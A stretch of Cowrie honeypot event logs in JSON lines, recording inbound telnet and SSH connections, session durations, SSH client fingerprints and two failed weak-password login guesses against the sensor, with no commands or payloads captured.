{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc22efe5890d","protocol":"telnet","message":"New connection: 165.232.131.181:49926 (10.17.0.5:23) [session: dc22efe5890d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:30.611992Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:30.862695Z","src_ip":"156.232.13.218","session":"c77c961dd83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"password","message":"login attempt [server1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:30.895913Z","src_ip":"103.189.235.176","session":"28fff24c132f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38370,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e0adc42d1a","protocol":"telnet","message":"New connection: 62.210.97.77:38370 (10.17.0.5:23) [session: 52e0adc42d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:30.984016Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:31.049453Z","src_ip":"190.129.122.12","session":"91b6bc60f18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48248,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c6bc4352c7","protocol":"telnet","message":"New connection: 65.60.27.33:48248 (10.17.0.5:23) [session: 60c6bc4352c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:31.136983Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa99e52e138","protocol":"telnet","message":"New connection: 38.54.119.93:56022 (10.17.0.5:23) [session: 3aa99e52e138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:31.141043Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:32.134262Z","src_ip":"103.189.235.176","session":"28fff24c132f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.34140062332153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:32.473500Z","src_ip":"62.210.97.77","session":"8e3e0cd2a18a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99988579750061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:33.399768Z","src_ip":"94.156.33.203","session":"0d383299ba12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58576,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cf866d9d67e","protocol":"telnet","message":"New connection: 134.209.8.29:58576 (159.203.135.109:23) [session: 4cf866d9d67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:34.585034Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":52612,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f55946a04e","protocol":"ssh","message":"New connection: 187.16.96.250:52612 (10.17.0.5:22) [session: 67f55946a04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.136135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.141251Z","src_ip":"187.16.96.250","session":"67f55946a04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.975377798080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.176513Z","src_ip":"94.156.33.203","session":"b6050f15c4a6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.257918Z","src_ip":"187.16.96.250","session":"67f55946a04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23298978805542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.688886Z","src_ip":"94.156.33.203","session":"3d6278050360","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwe","message":"login attempt [git/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:38.758938Z","src_ip":"187.16.96.250","session":"67f55946a04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7d3fbda20b","protocol":"telnet","message":"New connection: 134.209.8.29:58588 (159.203.135.109:23) [session: db7d3fbda20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:39.620572Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:39.877942Z","src_ip":"187.16.96.250","session":"67f55946a04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"01114c3023c6","protocol":"telnet","message":"New connection: 94.156.33.203:38674 (159.203.135.109:23) [session: 01114c3023c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:39.961678Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54026,"dst_ip":"10.17.0.5","dst_port":23,"session":"42f2a10e826a","protocol":"telnet","message":"New connection: 62.210.97.77:54026 (10.17.0.5:23) [session: 42f2a10e826a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:40.617353Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58602,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea06b36fa5ea","protocol":"telnet","message":"New connection: 134.209.8.29:58602 (159.203.135.109:23) [session: ea06b36fa5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:40.738887Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51814,"dst_ip":"10.17.0.5","dst_port":23,"session":"1769cc3275b0","protocol":"telnet","message":"New connection: 165.232.131.181:51814 (10.17.0.5:23) [session: 1769cc3275b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:41.788878Z"}
{"eventid":"cowrie.session.closed","duration":31.0894718170166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:41.988298Z","src_ip":"94.156.33.203","session":"d3d5adab6eda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175180435180664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:42.341805Z","src_ip":"94.156.33.203","session":"cc8ba2de3026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4deae043d6a1","protocol":"telnet","message":"New connection: 62.210.97.77:54032 (10.17.0.5:23) [session: 4deae043d6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:43.044929Z"}
{"eventid":"cowrie.session.closed","duration":1.4421074390411377,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:43.230884Z","src_ip":"165.232.131.181","session":"1769cc3275b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.400545835494995,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:44.047109Z","src_ip":"62.210.97.77","session":"51e55a882c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.148223638534546,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:44.136880Z","src_ip":"62.210.97.77","session":"39781cb231e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54036,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd7d659d512","protocol":"telnet","message":"New connection: 62.210.97.77:54036 (10.17.0.5:23) [session: 8bd7d659d512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:44.579002Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50782,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6b6478ffcc","protocol":"telnet","message":"New connection: 134.209.8.29:50782 (159.203.135.109:23) [session: bf6b6478ffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:46.467727Z"}
{"eventid":"cowrie.session.closed","duration":6.022786378860474,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:46.761577Z","src_ip":"134.209.8.29","session":"ea06b36fa5ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d00b79930ef","protocol":"telnet","message":"New connection: 62.210.97.77:55880 (10.17.0.5:23) [session: 7d00b79930ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:49.214910Z"}
{"eventid":"cowrie.session.closed","duration":37.733625173568726,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:49.441241Z","src_ip":"62.210.97.77","session":"b275855a5f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.296468019485474,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:49.789958Z","src_ip":"65.60.27.33","session":"0d674726c887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.18020796775818,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:52.592412Z","src_ip":"65.60.27.33","session":"735c141b3416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.713894844055176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:52.632650Z","src_ip":"62.210.97.77","session":"0e9ebef07424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55884,"dst_ip":"10.17.0.5","dst_port":23,"session":"50136cb9c36b","protocol":"telnet","message":"New connection: 62.210.97.77:55884 (10.17.0.5:23) [session: 50136cb9c36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:52.697938Z"}
{"eventid":"cowrie.session.closed","duration":38.96320104598999,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:53.433987Z","src_ip":"65.60.27.33","session":"28ad7bbbab04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.381088733673096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:55.089229Z","src_ip":"62.210.97.77","session":"de07deaf5241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.73224115371704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:55.413140Z","src_ip":"62.210.97.77","session":"0e81092d4b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872318506240845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.051199Z","src_ip":"94.156.33.203","session":"718592d49f3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.47036337852478,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.206667Z","src_ip":"62.210.97.77","session":"e6440faf26f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":41676,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e45085d058","protocol":"telnet","message":"New connection: 94.156.33.203:41676 (159.203.135.109:23) [session: a9e45085d058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.265679Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"5befd168e3ba","protocol":"telnet","message":"New connection: 62.210.97.77:55894 (10.17.0.5:23) [session: 5befd168e3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.548468Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55902,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd1b6ad32de","protocol":"telnet","message":"New connection: 62.210.97.77:55902 (10.17.0.5:23) [session: acd1b6ad32de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.766520Z"}
{"eventid":"cowrie.session.closed","duration":41.32540202140808,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:56.788250Z","src_ip":"65.60.27.33","session":"06fbd9596d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.195870876312256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:57.628503Z","src_ip":"62.210.97.77","session":"e80d820b914d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7529a0a6cc1","protocol":"telnet","message":"New connection: 62.210.97.77:55908 (10.17.0.5:23) [session: f7529a0a6cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:57.711703Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52440,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a31306b628","protocol":"telnet","message":"New connection: 65.60.27.33:52440 (10.17.0.5:23) [session: 88a31306b628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:59.110514Z"}
{"eventid":"cowrie.session.closed","duration":36.551706314086914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:59.758398Z","src_ip":"62.210.97.77","session":"b4acfd1ccf9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.389732837677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:31:59.882464Z","src_ip":"62.210.97.77","session":"0ed7a8c74ead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a43f81035d","protocol":"telnet","message":"New connection: 38.54.119.93:46552 (10.17.0.5:23) [session: 73a43f81035d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:00.133135Z"}
{"eventid":"cowrie.session.closed","duration":30.458888053894043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:00.313706Z","src_ip":"94.156.33.203","session":"de3a00a24408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.608649253845215,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:01.731393Z","src_ip":"38.54.119.93","session":"6a416226e983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":41686,"dst_ip":"159.203.135.109","dst_port":23,"session":"525177db7982","protocol":"telnet","message":"New connection: 94.156.33.203:41686 (159.203.135.109:23) [session: 525177db7982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:01.871413Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60784,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc046a867642","protocol":"telnet","message":"New connection: 62.210.97.77:60784 (10.17.0.5:23) [session: dc046a867642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:02.260251Z"}
{"eventid":"cowrie.session.closed","duration":33.19784593582153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:04.181749Z","src_ip":"62.210.97.77","session":"52e0adc42d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60798,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d627676a919","protocol":"telnet","message":"New connection: 62.210.97.77:60798 (10.17.0.5:23) [session: 8d627676a919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:04.537299Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60800,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f3abb7bd6b","protocol":"telnet","message":"New connection: 62.210.97.77:60800 (10.17.0.5:23) [session: 79f3abb7bd6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:04.636856Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60816,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac22e941433f","protocol":"telnet","message":"New connection: 62.210.97.77:60816 (10.17.0.5:23) [session: ac22e941433f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:04.858042Z"}
{"eventid":"cowrie.session.closed","duration":36.53294563293457,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:05.937839Z","src_ip":"62.210.97.77","session":"19b3ecb26d26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60828,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f0dcb476ec","protocol":"telnet","message":"New connection: 62.210.97.77:60828 (10.17.0.5:23) [session: c0f0dcb476ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:06.659613Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":50350,"dst_ip":"159.203.135.109","dst_port":23,"session":"60195c90eb8e","protocol":"telnet","message":"New connection: 94.156.33.203:50350 (159.203.135.109:23) [session: 60195c90eb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:08.133792Z"}
{"eventid":"cowrie.session.closed","duration":40.853535413742065,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:08.401659Z","src_ip":"62.210.97.77","session":"8da63bafe7e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.82058596611023,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:08.957476Z","src_ip":"65.60.27.33","session":"60c6bc4352c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34848,"dst_ip":"10.17.0.5","dst_port":23,"session":"34cd714c4a2d","protocol":"telnet","message":"New connection: 65.60.27.33:34848 (10.17.0.5:23) [session: 34cd714c4a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:09.256764Z"}
{"eventid":"cowrie.session.closed","duration":31.441409826278687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:11.402981Z","src_ip":"94.156.33.203","session":"01114c3023c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":50352,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88c8545a152","protocol":"telnet","message":"New connection: 94.156.33.203:50352 (159.203.135.109:23) [session: d88c8545a152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:12.121692Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d5ef075f2f","protocol":"telnet","message":"New connection: 65.60.27.33:40114 (10.17.0.5:23) [session: c8d5ef075f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:13.018572Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42860,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8af8591e1d5","protocol":"telnet","message":"New connection: 65.60.27.33:42860 (10.17.0.5:23) [session: d8af8591e1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:15.286032Z"}
{"eventid":"cowrie.session.closed","duration":2.9216909408569336,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:15.940122Z","src_ip":"65.60.27.33","session":"c8d5ef075f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30374073982239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:17.348531Z","src_ip":"62.210.97.77","session":"4deae043d6a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.537365198135376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.116253Z","src_ip":"62.210.97.77","session":"8bd7d659d512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.62605667114258,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.237945Z","src_ip":"165.232.131.181","session":"dc22efe5890d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":48600,"dst_ip":"159.203.135.109","dst_port":23,"session":"9926944087d1","protocol":"telnet","message":"New connection: 94.156.33.203:48600 (159.203.135.109:23) [session: 9926944087d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.394876Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":37262,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f3ef4869e08","protocol":"ssh","message":"New connection: 156.232.13.218:37262 (10.17.0.5:22) [session: 2f3ef4869e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.625818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:32:18.630560Z","src_ip":"156.232.13.218","session":"2f3ef4869e08","protocol":"ssh"}
